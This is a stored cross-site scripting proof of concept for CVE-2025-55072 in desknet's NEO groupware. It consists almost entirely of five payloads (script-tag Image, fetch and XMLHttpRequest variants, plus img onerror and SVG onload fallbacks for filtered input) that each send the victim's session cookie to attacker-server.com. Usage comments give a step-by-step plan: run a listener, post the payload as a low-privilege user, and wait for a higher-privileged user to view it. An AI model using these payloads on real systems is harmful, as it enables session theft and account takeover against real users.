CVE-2025-55072 desknet's NEO 存储型XSS漏洞

<!-- Stored XSS PoC for CVE-2025-55072 - desknet's NEO --> <!-- This PoC demonstrates a stored XSS payload that can be injected into vulnerable input fields --> <!-- Basic cookie stealing payload --> <script> var img = new Image(); img.src = 'http://attacker-server.com/steal?cookie=' + encodeURIComponent(document.cookie); </script> <!-- Alternative payload using fetch API --> <script> fetch('http://attacker-server.com/steal', { method: 'POST', body: JSON.stringify({cookie: document.cookie, url: window.location.href}), headers: {'Content-Type': 'application/json'} }); </script> <!-- Payload using XMLHttpRequest --> <script> var xhr = new XMLHttpRequest(); xhr.open('GET', 'http://attacker-server.com/steal?c=' + document.cookie, true); xhr.send(); </script> <!-- Event handler based payload (useful if script tags are filtered) --> <img src=x onerror="fetch('http://attacker-server.com/steal?c='+document.cookie)"> <!-- SVG-based payload --> <svg/onload="fetch('http://attacker-server.com/steal?c='+document.cookie)"> <!-- Usage instructions: 1. Set up a listener server at attacker-server.com to capture exfiltrated data 2. Login to desknet's NEO with a valid low-privilege account 3. Inject the payload into a vulnerable input field (e.g., bulletin board post, schedule description) 4. Wait for a victim with higher privileges to view the malicious content 5. The victim's session cookie will be sent to the attacker's server -->